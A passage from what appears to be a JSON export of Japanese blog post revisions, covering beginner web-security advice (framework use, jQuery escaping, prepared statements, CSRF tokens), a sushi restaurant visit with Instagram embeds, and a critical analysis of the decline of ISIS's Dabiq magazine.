と付き合う必要がありそうです。もっとかもしれません。このフレームワークは現代的なフレームワークではなく、自動でエスケープしてくれたりとかそんな気取った機能はありません。\r\n\r\nユーザーからの入力値がくる部分は意図的に .text() を使ってエスケープをしなければなりません。 \r\n\r\nHTML を表示する場合、「表示の直前に無害化する」という原則があります。入力バリデーションで問題を防ごうとしてはいけません。ブラックリストにするにせよホワイトリストにするにせよ絶対に抜けます。\r\n\r\njQuery を使用する場合、この原則に従って以下のようにしなければなりません\r\n\r\n``` javascript\r\n$('#hoge').text(ユーザーからの入力値が含まれる何らかの何か)\r\n```\r\n\r\n頑張りましょう。\r\n\r\nフレームワークが提供する Ajax 支援機構を使って、なるべく JavaScript を自分で書かないというのはよい考え方です。但しこの場合も、 JavaScript を文字列組み立てなどで動的に生成することのないようにしましょう。これは恐しいバグの温床です。\r\n\r\nMV** 系のデータバインディングがあるフレームワークは、大抵自動的にエスケープをしてくれます。よって変なことをしないかぎり、セキュアなコードを書くことができます。ただこれらのフレームワークはまだ過渡期感が高く厳しいものがあります。\r\n\r\n### 3. 余計な情報は持たない\r\n余計な情報をシステムに持つのはやめときましょう。他人の個人情報とか預からないほうがいいです。決済を自分で作るのは絶対にやめときましょう。今なら他人の作った決済サービスを安く使えます。\r\n\r\nもしこれらのサービスにセキュリティ上の問題があったとして、その責任は作った人達に押し付けることができますし、自分で作る場合よりもセキュリティ上の問題が発生する確率は遥かに低いでしょう。\r\n\r\nこれは前述した「自分でやらない」という話にも通じることです。\r\n\r\n### 4. 名著は読みましょう\r\n- http://www.amazon.co.jp/dp/4797361190/\r\n- http://www.amazon.co.jp/dp/4887189400/\r\n\r\n長くでだるいですが、やっぱりこういうものは読みましょう。読まないなら読まないでもいいんですけど、その場合はとにかく「自分で考えない」ということを徹底すべきです。自分で考えて何かを作るためには、基礎的な知識が必要です。","created_at":"2015-02-05T10:02:37.000Z","updated_at":"2015-02-05T10:02:37.000Z"},{"id":2795,"name":"text/よく分からない人のためのセキュリティ","body":"%blog%\r\n\r\nいろいろと原則論はあるんですが。昨今のアプリケーションは複雑化し、扱う情報はよりセンシティブになり、そしてより幅広く使われるようになっています。よって「安全な」アプリケーションを作るために必要な知識はますます増える傾向にあります。\r\n\r\nよく分かってない人は以下のことにとりあえず気をつけましょう\r\n\r\n### 1. なるべく自分で作らない\r\n\r\nこれは最も重要なことです。検索する、他人に聞く、自分で考えない。これは重要です。大抵の問題は他人が作ってくれた解決策を適用できます。\r\n\r\n例えばセキュアな問合せフォームを作ることにしましょう。気をつけるべきことは以下のことぐらいでしょうか。\r\n\r\n- 送信内容の確認画面を表示する場合、ユーザーの入力した値は適切にエスケープするように\r\n- 送信内容をアプリケーションの DB に格納する場合には SQL インジェクションを防がなければならないので、プリペアドステートメントを用いる\r\n- CSRF 対策のためにトークン吐いて検証するような仕組みを入れる\r\n\r\nめんどうですね。これを自前で実装しようと思ったら時間もかかるし、なんかバグっててダメでしたとなりがちです。\r\n\r\nところが世の中にあるフレームワークを使うと、自然にフォーム置いて DB に値入れるコード書けば上記は達成されます。だいたいエスケープは自動で行なわれますし、プリペアドステートメントは使わさせられますし(あるいはもっと DB が隠蔽されてるか)、 CSRF 対策も放っとくと入れてくれてることが多いです。\r\n\r\nなるべく自分でものを作るのはやめましょう。時間の無駄ですし、性能が悪いものができますし、セキュリティ上の問題が発生します。\r\n\r\n「現代のフレームワークは複雑だから、初学者はなるべく生の PHP を使ってやってみよう」みたいなことを言う人がいますが、これに騙されてはいけません。\r\n\r\nそういうことを言う人は、セキュアなアプリケーション開発の為の知見が積み重なっていき、ツールが進歩してきたこの 20 年の歴史をリアルタイムに追跡してきたからこそ、的確な知識を得ることができたのです。\r\n\r\nつまりそういう人が言うことを聞いていては、 20 年間かけないとその人なみのプログラマーになれないということです。これは極めて非効率です。\r\n\r\nというわけで CakePHP とか Ruby on Rails とか使いましょう。フレームワークの動作について疑問に思うことがあったら、フレームワークのソース読んだり知ってそうな人に聞いたりしましょう。\r\n\r\n### 2. jQuery を警戒する\r\n我々はなんだかんだいってあと数年は jQuery と付き合う必要がありそうです。もっとかもしれません。このフレームワークは現代的なフレームワークではなく、自動でエスケープしてくれたりとかそんな気取った機能はありません。\r\n\r\nユーザーからの入力値がくる部分は意図的に .text() を使ってエスケープをしなければなりません。 \r\n\r\nHTML を表示する場合、「表示の直前に無害化する」という原則があります。入力バリデーションで問題を防ごうとしてはいけません。ブラックリストにするにせよホワイトリストにするにせよ絶対に抜けます。\r\n\r\njQuery を使用する場合、この原則に従って以下のようにしなければなりません\r\n\r\n``` javascript\r\n$('#hoge').text(ユーザーからの入力値が含まれる何らかの何か)\r\n```\r\n\r\nそれから、ユーザー入力値が属性に直接入るようなコードは非常に悪いものです。そうした事例で適切なエスケープな方法を知ってる人は殆どいません。私も知りません。ユーザー入力値を入れていいのはタグの内側だけです。ユーザー入力値をもとに属性値を変えたい場合、以下のようにしたらいいと思います。\r\n\r\n``` javascript\r\nvar list, attr;\r\nlist = ['a', 'b', 'c']\r\n// ここにユーザー入力値をもとに list から何か選んできて attr に代入するコード\r\n$('#hoge').attr({huga: attr})\r\n```\r\n\r\n頑張りましょう。\r\n\r\nフレームワークが提供する Ajax 支援機構を使って、なるべく JavaScript を自分で書かないというのはよい考え方です。但しこの場合も、 JavaScript を文字列組み立てなどで動的に生成することのないようにしましょう。これは恐しいバグの温床です。\r\n\r\nMV** 系のデータバインディングがあるフレームワークは、大抵自動的にエスケープをしてくれます。よって変なことをしないかぎり、セキュアなコードを書くことができます。ただこれらのフレームワークはまだ過渡期感が高く厳しいものがあります。\r\n\r\n### 3. 余計な情報は持たない\r\n余計な情報をシステムに持つのはやめときましょう。他人の個人情報とか預からないほうがいいです。決済を自分で作るのは絶対にやめときましょう。今なら他人の作った決済サービスを安く使えます。\r\n\r\nもしこれらのサービスにセキュリティ上の問題があったとして、その責任は作った人達に押し付けることができますし、自分で作る場合よりもセキュリティ上の問題が発生する確率は遥かに低いでしょう。\r\n\r\nこれは前述した「自分でやらない」という話にも通じることです。\r\n\r\n### 4. 名著は読みましょう\r\n- http://www.amazon.co.jp/dp/4797361190/\r\n- http://www.amazon.co.jp/dp/4887189400/\r\n\r\n長くでだるいですが、やっぱりこういうものは読みましょう。読まないなら読まないでもいいんですけど、その場合はとにかく「自分で考えない」ということを徹底すべきです。自分で考えて何かを作るためには、基礎的な知識が必要です。","created_at":"2015-02-05T10:12:24.000Z","updated_at":"2015-02-05T10:12:24.000Z"},{"id":2796,"name":"text/Doraku Sushi 行ってきた","body":"%blog%\r\n\r\n[Doraku Sushi](http://dorakusushi.com/) というあきらかにやばそうな寿司屋があったので行ってきた。\r\n\r\nブラックドラゴンロール、エンペラーロール、スパイシーロブスターロールなどといった明らかにやばい寿司を次々に食べられて、アメリカ料理の真髄を味わえる感じだった。\r\n\r\nこういう感じの寿司屋都内にもあったらいいのになー。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/y7_7yzPxBz/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e寿司です!!\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2015-02-10T22:30:35+00:00\"\u003e2015 2月 10 2:30午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/y7_uj3vxBb/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e寿司だ!!!\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2015-02-10T22:28:47+00:00\"\u003e2015 2月 10 2:28午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nそしてこれは関係ないんですが、空港にとまってた F-22 です。\r\n\r\n","created_at":"2015-02-11T19:57:33.000Z","updated_at":"2015-02-11T19:57:33.000Z"},{"id":2797,"name":"text/Doraku Sushi 行ってきた","body":"%blog%\r\n\r\n[Doraku Sushi](http://dorakusushi.com/) というあきらかにやばそうな寿司屋があったので行ってきた。\r\n\r\nブラックドラゴンロール、エンペラーロール、スパイシーロブスターロールなどといった明らかにやばい寿司を次々に食べられて、アメリカ料理の真髄を味わえる感じだった。\r\n\r\nこういう感じの寿司屋都内にもあったらいいのになー。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/y7_7yzPxBz/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e寿司です!!\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2015-02-10T22:30:35+00:00\"\u003e2015 2月 10 2:30午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/y7_uj3vxBb/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e寿司だ!!!\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2015-02-10T22:28:47+00:00\"\u003e2015 2月 10 2:28午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nそしてこれは関係ないんですが、空港にとまってた F-22 です。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e\u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e\u003ca href=\"https://instagram.com/p/y72T1qPxBc/\" style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none;\" target=\"_top\"\u003e@ssig33が投稿した写真\u003c/a\u003e - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2015-02-10T21:06:29+00:00\"\u003e2015 2月 10 1:06午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e","created_at":"2015-02-11T19:57:50.000Z","updated_at":"2015-02-11T19:57:50.000Z"},{"id":2798,"name":"text/イスラム国の退潮","body":"%blog%\r\n\r\n湯川遥菜さん他一名がイスラム国(武力による現状の変更を支持するのでこの名称を用います)に殺害された結果、日本人が皆イスラム国の機関誌 DABIQ を読むようになりました。\r\n\r\n以前からの読者としては非常によいことだと思います。ところでこれを全部読んでる人なら分かることなんですが、イスラム国、非常に危機的な状況にあります。\r\n\r\n以下を見ると一目で分かります。\r\n\r\n### DABIQ 第 2 号の表紙と目次\r\n![image](http://s.ssig33.com/files/de256def698844e18a704c59deca8fb7)\r\n\r\n### DABIQ 第 7 号(最新号)の表紙と目次\r\n![image](http://s.ssig33.com/files/ac811dbaeb2744669af2bf4317aa3848)\r\n\r\n### DABIQ 第 2 号の本文\r\n![image](http://s.ssig33.com/files/317ec8cc8fec405e968c602339fc89db)\r\n\r\n### DABIQ 第 7 号の本文\r\n![image](http://s.ssig33.com/files/bea1c05a173e4f048f9418951f539fbc) \r\n![image](http://s.ssig33.com/files/7ec2546ec3224aabbc6e3d440eac384c)\r\n\r\n見た目で分かるとは思いますが、かなり劣化してます。僕は編集を担当していた人間がイスラム国から離脱したか、戦死したものと考えています。\r\n\r\nまた内容に関しても、 1 号のころなどは、巻末にド派手なニュースページがあって赫奕たる戦果を紹介していたんですが、最近はそれが無いです。また 7 号では「モサドのスパイがイスラム国に転向したので、インタビューしました」という内容の極めて幼稚で明らかに創作な記事でページを埋めたりしてます。\r\n\r\n最新 7 号は量は多いんですがとにかく内容が酷い。\r\n\r\n正直この内容で欧米から要員を勧誘することは不可能でしょう。単純に AK-47 を振り回して人を殺す人はチュニジアからいくらでも供給できるのだろうという情勢ですが、無論戦争とはそんな戦闘員だけで出来るものではないです。武器、弾薬、食料、燃料を適切に末端部隊まで届ける物流業務のプロと、戦果と損害を判定し適切なリソースの配分先を決めるオペレーションリサーチの専門家、情報の収集と分析業務の専門家、こういった高度な水準の技術者が重要です。\r\n\r\nいくら空爆で戦略資源を破壊されたところで、情報のプロと物流のプロとがいれば新しい供給元と供給ルートを敷設できるわけですが、逆に物資だけがあっても物流が分かる人がいないと前線のチュニジア人のところまで届かずに腐ってしまう。\r\n\r\nそしてそういった要員は主にイスラム国では旧イラクバアス党員に頼っているわけですが、当然これらは順次戦死していきますから、補給が必要です。そうなると欧米でそれなりの教育を受けた人を引き込まないとやってはおられんわけです。が、先述した通りイスラム国の広報部門は劣化しきっている状態でして、このあたりが今後益々厳しくなっていくものと考えられます。\r\n\r\nイスラム国に対して空爆は現在大して戦果を上げておらず、支配地域の 1% ほどしか奪還できていない、などと報じられています。しかしながら空爆によって広報部門というある意味最も重要な人材をイスラム国は喪失した可能性があります。\r\n\r\nミアシャイマーなどは「戦争は陸軍力によってしか決着しない」と述べていましたが、それは「最後の一撃は陸軍力である」という話です。「陸軍力で最後の一撃をぶちこめるようにするために何をするか」が戦争なのであって、その意味でイスラム国は敗北しつつあります。「陸軍力があってもどうにもならない」という状態から「陸軍力さえあれば決着がつく」という状態になりつつあるわけです。\r\n\r\n各位、頑張ってください。","created_at":"2015-02-13T10:48:47.000Z","updated_at":"2015-02-13T10:48:47.000Z"},{"id":2799,"name":"text/イスラム国の退潮","body":"%blog%\r\n\r\n湯川遥菜さん他一名がイスラム国(武力による現状の変更を支持するのでこの名称を用います)に殺害された結果、日本人が皆イスラム国の機関誌 DABIQ を読むようになりました。\r\n\r\n以前からの読者としては非常によいことだと思います。ところでこれを全部読んでる人なら分かることなんですが、イスラム国、非常に危機的な状況にあります。\r\n\r\n以下を見ると一目で分かります。\r\n\r\n### DABIQ 第 2 号の表紙と目次\r\n![image](http://s.ssig33.com/files/de256def698844e18a704c59deca8fb7)\r\n\r\n### DABIQ 第 7 号(最新号)の表紙と目次\r\n![image](http://s.ssig33.com/files/ac811dbaeb2744669af2bf4317aa3848)\r\n\r\n### DABIQ 第 2 号の本文\r\n![image](http://s.ssig33.com/files/317ec8cc8fec405e968c602339fc89db)\r\n\r\n### DABIQ 第 7 号の本文\r\n![image](http://s.ssig33.com/files/bea1c05a173e4f048f9418951f539fbc) \r\n![image](http://s.ssig33.com/files/7ec2546ec3224aabbc6e3d440eac384c)\r\n\r\n見た目で分かるとは思いますが、かなり劣化してます。僕は編集を担当していた人間がイスラム国から離脱したか、戦死したものと考えています。\r\n\r\nまた内容に関しても、 1 号のころなどは、巻末にド派手なニュースページがあって赫奕たる戦果を紹介していたんですが、最近はそれが無いです。また 7 号では「モサドのスパイがイスラム国に転向したので、インタビューしました」という内容の極めて幼稚で明らかに創作な記事でページを埋めたりしてます。\r\n\r\n最新 7 号は量は多いんですがとにかく内容が酷い。\r\n\r\n正直この内容で欧米から要員を勧誘することは不可能でしょう。単純に AK-47 を振り回して人を殺す人はチュニジアからいくらでも供給できるのだろうという情勢ですが、無論戦争とはそんな戦闘員だけで出来るものではないです。武器、弾薬、食料、燃料を適切に末端部隊まで届ける物流業務のプロと、戦果と損害を判定し適切なリソースの配分先を決めるオペレーションリサーチの専門家、情報の収集と分析業務の専門家、こういった高度な水準の技術者が重要です。\r\n\r\nいくら戦略資源を破壊されたところで、情報のプロと物流のプロとがいれば新しい供給元と供給ルートを敷設できるわけですが、逆に物資だけがあっても物流が分かる人がいないと前線のチュニジア人のところまで届かずに腐ってしまう。\r\n\r\nそしてそういった要員は主にイスラム国では旧イラクバアス党員に頼っているわけですが、当然これらは順次戦死していきますから、補給が必要です。そうなると欧米でそれなりの教育を受けた人を引き込まないとやってはおられんわけです。が、先述した通りイスラム国の広報部門は劣化しきっている状態でして、このあたりが今後益々厳しくなっていくものと考えられます。\r\n\r\nイスラム国に対して空爆は現在大して戦果を上げておらず、支配地域の 1% ほどしか奪還できていない、などと報じられています。しかしながら空爆によって広報部門というある意味最も重要な人材をイスラム国は喪失した可能性があります。\r\n\r\nミアシャイマーなどは「戦争は陸軍力によってしか決着しない」と述べていましたが、それは「最後の一撃は陸軍力である」という話です。「陸軍力で最後の一撃をぶちこめるようにするために何をするか」が戦争なのであって、その意味でイスラム国は敗北しつつあります。「陸軍力があってもどうにもならない」という状態から「陸軍力さえあれば決着がつく」という状態になりつつあるわけです。\r\n\r\n各位、頑張ってください。","created_at":"2015-02-13T10:49:54.000Z","updated_at":"2015-02-13T10:49:54.000Z"},{"id":2800,"name":"text/イスラム国の退潮","body":"%blog%\r\n\r\n湯川遥菜さん他一名がイスラム国(武力による現状の変更を支持するのでこの名称を用います)に殺害された結果、日本人が皆イスラム国の機関誌 DABIQ を読むようになりました。\r\n\r\n以前からの読者としては非常によいことだと思います。ところでこれを全部読んでる人なら分かることなんですが、イスラム国、非常に危機的な状況にあります。\r\n\r\n以下を見ると一目で分かります。\r\n\r\n### DABIQ 第 2 号の表紙と目次\r\n![image](http://s.ssig33.com/files/de256def698844e18a704c59deca8fb7)\r\n\r\n### DABIQ 第 7 号(最新号)の表紙と目次\r\n![image](http://s.ssig33.com/files/ac811dbaeb2744669af2bf4317aa3848)\r\n\r\n### DABIQ 第 2 号の本文\r\n![image](http://s.ssig33.com/files/317ec8cc8fec405e968c602339fc89db)\r\n\r\n### DABIQ 第 7 号の本文\r\n![image](http://s.ssig33.com/files/bea1c05a173e4f048f9418951f539fbc) \r\n![image](http://s.ssig33.com/files/7ec2546ec3224aabbc6e3d440eac384c)\r\n\r\n見た目で分かるとは思いますが、かなり劣化してます。僕は編集を担当していた人間がイスラム国から離脱したか、戦死したものと考えています。\r\n\r\nまた内容に関しても、 1 号のころなどは、巻末にド派手なニュースページがあって赫奕たる戦果を紹介していたんですが、最近はそれが無いです。また 7 号では「モサドのスパイがイスラム国に転向したので、インタビューしました」という内容の極めて幼稚で明らかに創作な記事でページを埋めたりしてます。\r\n\r\n最新 7 号は量は多いんですがとにかく内容が酷い。\r\n\r\n正直この内容で欧米から要員を勧誘することは不可能でしょう。単純に AK-47 を振り回して人を殺す人はチュニジアからいくらでも供給できるのだろうという情勢ですが、無論戦争とはそんな戦闘員だけで出来るものではないです。武器、弾薬、食料、燃料を適切に末端部隊まで届ける物流業務のプロと、戦果と損害を判定し適切なリソースの配分先を決めるオペレーションリサーチの専門家、情報の収集と分析業務の専門家、こういった高度な水準の技術者が重要です。\r\n\r\nいくら戦略資源を破壊されたところで、情報のプロと物流のプロとがいれば新しい供給元と供給ルートを敷設できるわけですが、逆に物資だけがあっても物流が分かる人がいないと前線のチュニジア人のところまで届かずに腐ってしまう。\r\n\r\nそしてそういった要員は主にイスラム国では旧イラクバアス党員に頼っているわけですが、当然これらは順次戦死していきますから、補給が必要です。そうなると欧米でそれなりの教育を受けた人を引き込まないとやってはおられんわけです。が、先述した通りイスラム国の広報部門は劣化しきっている状態でして、このあたりが今後益々厳しくなっていくものと考えられます。\r\n\r\nイスラム国に対して空爆は現在大して戦果を上げておらず、支配地域の 1% ほどしか奪還できていない、などと報じられています。しかしながら空爆によって広報部門というある意味最も重要な人材をイスラム国は喪失した可能性があります。\r\n\r\nミアシャイマーなどは「戦争は陸軍力によってしか決着しない」と述べていましたが、それは「最後の一撃は陸軍力である」という話です。「陸軍力で最後の一撃をぶちこめるようにするために何をするか」が戦争なのであって、その意味でイスラム国は敗北しつつあります。「陸軍力があってもどうにもならない」という状態から「陸軍力さえあれば決着がつく」という状態になりつつあるわけです。\r\n\r\n各位、頑張ってください。\r\n\r\n### 追記\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eいま気付いたんだけど、 DABIQ 7 ってこれで新規に公開された情報ないし、ロゴも違うし、偽書の可能性あるな\u003c/p\u003e\u0026mdash; 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/566191034032345088\"\u003eFebruary 13, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2015-02-13T11:05:05.000Z","updated_at":"2015-02-13T11:05:05.000Z"},{"id":2801,"name":"text/Bebop Drone 顛末","body":"%blog%\r\n\r\n### 一個目\r\n飛ばしてる最中に WiFi 